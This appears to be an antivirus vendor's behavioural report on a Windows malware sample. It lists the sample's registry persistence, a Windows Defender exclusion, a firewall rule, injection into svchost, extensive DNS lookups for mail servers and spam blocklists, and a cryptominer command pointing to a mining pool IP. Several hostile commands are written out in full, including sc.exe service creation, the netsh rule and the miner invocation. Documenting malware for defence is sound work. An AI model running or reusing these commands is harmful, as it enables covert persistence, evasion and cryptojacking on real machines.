Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\mtwprkic] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mtwprkic] 'ImagePath' = '%WINDIR%\SysWOW64\mtwprkic\eqpdoyga.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\mtwprkic] 'ImagePath' = '%WINDIR%\SysWOW64\mtwprkic\eqpdoyga.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\mtwprkic' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\eqpdoyga.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\eqpdoyga.exe to %WINDIR%\syswow64\mtwprkic\eqpdoyga.exe
Deletes itself.
Network activity
Connects to
- 'dc######.emirates.net.ae':25
TCP
HTTP GET requests
- http://www.google.com/
- http://89.##.105.12/ip.shtml
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK bi##s.com
- DNS ASK de###ussion.com
- DNS ASK de##.com
- DNS ASK ma##.###bal.frontbridge.com
- DNS ASK pl###i-form.ae
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK ma##.ieo.ae
- DNS ASK ie#.ae
- DNS ASK ma##.deladi.com
- DNS ASK de##di.com
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK de##ia.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK hu#.gr
- DNS ASK d2#####.##s.barracudanetworks.com
- DNS ASK ne###ndonwi.org
- DNS ASK tr##enet.it
- DNS ASK vi########er.jfk04.hls.ttvnw.net
- DNS ASK dc######.emirates.net.ae
- DNS ASK ei#.ae
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK co####ermotion.com
- DNS ASK mb####.###l.protection.outlook.com
- DNS ASK mb#.ae
- DNS ASK pr###ct.oci.fr
- DNS ASK ni##.co.za
- DNS ASK mx#.#omcast.net
- DNS ASK co##qadv.ae
- DNS ASK vi########er.fra02.hls.ttvnw.net
- DNS ASK la####estronk.com
- DNS ASK vi#####br-mx.terra.com
- DNS ASK te###.com.br
- DNS ASK ma##.#-email.net
- DNS ASK op###nline.net
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK sm####n.orange.fr
- DNS ASK wa##doo.fr
- DNS ASK mx.###zta.onet.pl
- DNS ASK op.pl
- DNS ASK ho##ail.it
- DNS ASK mx.##line.net
- DNS ASK my###erie.com
- DNS ASK mx.###ome.com.tw
- DNS ASK pc###e.com.tw
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK li##.com.au
- DNS ASK mx#######.mail.am0.yahoodns.net
- DNS ASK ro##rs.com
- DNS ASK an###parkle.com
- DNS ASK mx.##.#topenworld.com
- DNS ASK bt###nworld.com
- DNS ASK as###fp.co.uk
- DNS ASK mx#.####ndohealth.iphmx.com
- DNS ASK or##.org
- DNS ASK de###lles.fr
- DNS ASK mi#.co.ae
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK co#####designinc.com
- DNS ASK ac######.emirates.net.ae
- DNS ASK ma##.###ehuubvanstiphout.nl
- DNS ASK as###.daum.net
- DNS ASK ha##ir.com
- DNS ASK mx#.#c.upv.es
- DNS ASK me#.upv.es
- DNS ASK de##ani.nl
- DNS ASK by##atts.nl
- DNS ASK google.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ti##ali.it
- DNS ASK mx##.mb1p.com
- DNS ASK pi#####utions.com.au
- DNS ASK ai####products.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mx##.schlund.de
- DNS ASK ca#####bvanstiphout.nl
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ch#####gedairy.com.au
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK aspmx.l.google.com
- DNS ASK cr##s.org
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ho##ail.de
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK bs##agen.nl
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK pe##eot.ae
- DNS ASK ma##.#ommqadv.ae
- DNS ASK co##ast.net
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK mi##oft.com
- DNS ASK em###tes.net.ae
- DNS ASK ca####ates.com.au
- DNS ASK s-####tions.com.au
- DNS ASK ge###on.com.au
- DNS ASK cl######.us.messagelabs.com
- DNS ASK ra##.com.au
- DNS ASK in#######relays.illinois.edu
- DNS ASK il###ois.edu
- DNS ASK if###nc.com.au
- DNS ASK ma##.##feffadvies.nl
- DNS ASK ef###fadvies.nl
- DNS ASK dv###oetiek.nl
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK li##.com
- DNS ASK dr###twente.nl
- DNS ASK sm#####.three.com.au
- DNS ASK th###.com.au
- DNS ASK br#.#as.edu.au
- DNS ASK pa####x.above.com
- DNS ASK op###line.net
- DNS ASK ti###linet.it
- DNS ASK ho##ail.fr
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK do########.mail.protection.outlook.com
- DNS ASK do##urg.nl
- DNS ASK ho##ail.com
- DNS ASK la###praud.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\mtwprkic\eqpdoyga.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mtwprkic\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqpdoyga.exe" %WINDIR%\SysWOW64\mtwprkic\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create mtwprkic binPath= "%WINDIR%\SysWOW64\mtwprkic\eqpdoyga.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description mtwprkic "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start mtwprkic' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\mtwprkic\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqpdoyga.exe" %WINDIR%\SysWOW64\mtwprkic\
- '%WINDIR%\syswow64\sc.exe' create mtwprkic binPath= "%WINDIR%\SysWOW64\mtwprkic\eqpdoyga.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description mtwprkic "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start mtwprkic
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://91.203.5.139:8087 -u w1 -p x --nicehash --safe
